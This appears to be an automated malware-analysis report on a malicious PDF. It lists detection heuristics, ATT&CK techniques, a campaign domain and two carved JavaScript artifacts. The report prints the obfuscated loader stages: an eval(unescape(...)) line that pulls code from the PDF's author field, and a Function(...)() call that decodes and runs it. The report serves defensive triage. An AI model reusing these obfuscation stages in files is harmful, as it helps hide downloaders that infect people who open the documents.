MALICIOUS
188
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1027 Obfuscated Files or Information
The PDF file contains embedded JavaScript streams that utilize eval() and unescape() functions, indicating obfuscation. The heuristics suggest that this JavaScript is designed to download and execute a secondary payload. While the exact URL or execution method is not directly extractable due to obfuscation, the presence of these techniques strongly points to a malicious downloader. No specific family could be identified.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
eval(unescape("function%20EN__WJ1e%28%29%7Breturn%20unescape%3B%7D%0D%0Aperc%3D%22%25%22%3B%0D%0Adogma%3Dthis.info.autor%3B")); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
🗂 Part of campaign:
2iii.org
14 samples
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0015_000.js |
pdf-javascript-stream | PDF /JS object 15 at offset 0x14F | 251 bytes |
SHA-256: 9d70141af3a822acccc264ef07edff74fb35057902ba021de6dd368c8575e640 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
eval(unescape("function%20EN__WJ1e%28%29%7Breturn%20unescape%3B%7D%0D%0Aperc%3D%22%25%22%3B%0D%0Adogma%3Dthis.info.autor%3B"));
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
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javascript_obj0017_001.js |
pdf-javascript-stream | PDF /JS object 17 at offset 0x2DEA | 269 bytes |
SHA-256: eb38f21f9bedfa692973d5040fa72403c33e1b7416e5315eba9178a06cc6f506 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ Function(EN__WJ1e()((dogma.replace(/827363518888 0932188888888888888 00000000000000000000/g, perc))))(); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ |
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